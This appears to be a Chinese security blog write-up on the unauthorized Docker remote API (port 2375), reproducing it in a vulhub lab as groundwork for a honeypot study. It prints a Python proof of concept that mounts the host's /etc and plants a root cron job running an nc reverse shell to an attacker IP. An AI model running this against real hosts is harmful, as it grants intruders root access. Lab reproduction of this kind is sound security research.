docker未授权漏洞蜜罐模拟与捕获分析

admin

101402
文章

87
评论

2023年3月15日04:10:25评论15 views字数 3285阅读10分57秒阅读模式

出品|先知社区(ID:stronger）

声明

以下内容，来自先知社区的stronger作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。

1.概述

文章主要分析docker未授权漏洞的原理及形成原因，使用vulhub靶场复现漏洞，在了解漏洞原理并复现的基础上使用golang编写蜜罐代码进行模拟，开放端口在网上捕获真实存在的恶意攻击行为，对恶意样本进行分析，总结出威胁情报。

2.漏洞原理与复现

2.1 漏洞环境

宿主机 unbutu IP：192.168.145.139
攻击机 kali IP：192.168.145.130

2.2 漏洞原理

docker是一个开源的应用容器引擎，可以让开发者打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何装有docker引擎的机器上

docker swarm是一个将docker集群变成单一虚拟的docker host工具，使用标准的docker API，能够方便docker集群的管理和扩展，在使用docker swarm时docker节点上会开放一个2375的端口，绑定在0.0.0.0上，这个就是docker remote api

可以执行docker命令，比如访问访问http://host:2375/containers/json会返回服务器当前运行的container列表，和在docker CLI上执行docker ps的效果一样，其他操作比如创建/删除container，拉取image等操作也都可以通过API调用完成。这样就可以被远程执行命令，进一步获取root权限。

2.3 漏洞复现

在宿主机上使用vulhub搭建漏洞环境

环境搭建好后进入docker目录，使用命令启动环境 docker-compose up -d

出现绿色的down表示启动成功

在浏览器访问http://ip:2375/version，可以访问说明漏洞环境搭建成功。

监听端口2375
POC:

import dockerclient = docker.DockerClient(base_url='http://192.168.145.139:2375/')data = client.containers.run('alpine:latest',                             r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.145.130 23456 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',                             remove=Ture,volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

解释一下poc：

第三行：首先连接客户端，第四行先选择要启动的容器，执行命令将宿主机的 /etc 目录挂载到容器中，volumes为传入挂载的目录，规则是：[“docker-path:local-path”] ，使用nc命令在攻击机监听端口23456。

将目录挂载到容器中是为了能够逃出容器，进入宿主机。因为docker是以root权限运行的，docker命令只能在容器内部，与宿主机是隔离的状态，即使反弹了shell也无法进入宿主机，docker本身在运行容器的时候，可以将本地文件或者目录挂载到容器内部，并且在容器内部这些文件或者目录都是可以修改的。

这样的话可以获取root权限进程，并且能够进行修改文件或者目录。这样就可以进行利用了。在执行代码前使用nc命令监听端口23456等待反弹shell